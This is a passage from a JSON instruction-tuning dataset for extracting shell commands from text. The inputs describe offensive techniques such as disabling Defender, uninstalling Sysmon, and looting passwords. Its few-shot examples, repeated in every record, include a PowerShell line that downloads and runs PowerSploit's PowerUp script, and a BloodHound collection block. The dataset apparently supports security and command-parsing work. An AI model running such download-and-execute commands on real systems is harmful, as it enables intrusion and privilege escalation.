Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Creates a new admin user in a powershell session without using net.exe\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:\n- Deny Generic All (GA) permissions to Network Users (NU)\n- Deny GA permissions to Everyone (WD)\n- Deny GA permissions to Anonymous (AN)\n- Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)\n- Allow Object Inherit and Inherit Only (OIIO) Full Access (FA) and GA permissions to Everyone (WD) in SACL\nThese permissions can significantly restrict VSS functionalities, including backup and restore operations. As such, it is essential to run this test only in a controlled environment with administrative privileges.\nA cleanup command is provided to reset VSS permissions to a common default configuration, which should be verified against your specific system's configuration. It's crucial to use this cleanup command after testing to ensure the system's backup and recovery capabilities remain functional. Running this test on a production system or critical environment is not recommended without proper precautions and a robust recovery plan.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uninstall Sysinternals Sysmon for Defense Evasion\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Disable Win Defender Notification. Redline is using this to disable this win defender feature.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify the registry of the currently logged in user using reg.exe via cmd console to Disable changes to Taskbar and Start Menu Settings Group Policy. \nTake note that some Group Policy changes might require a restart to take effect.\nSee how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test overwrites the contents of system log file with an empty string using echo utility\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Identify the Operating System Time Zone via registry with the reg.exe command.\nUpon execution, the system Time Zone will be shown.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.\n[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), 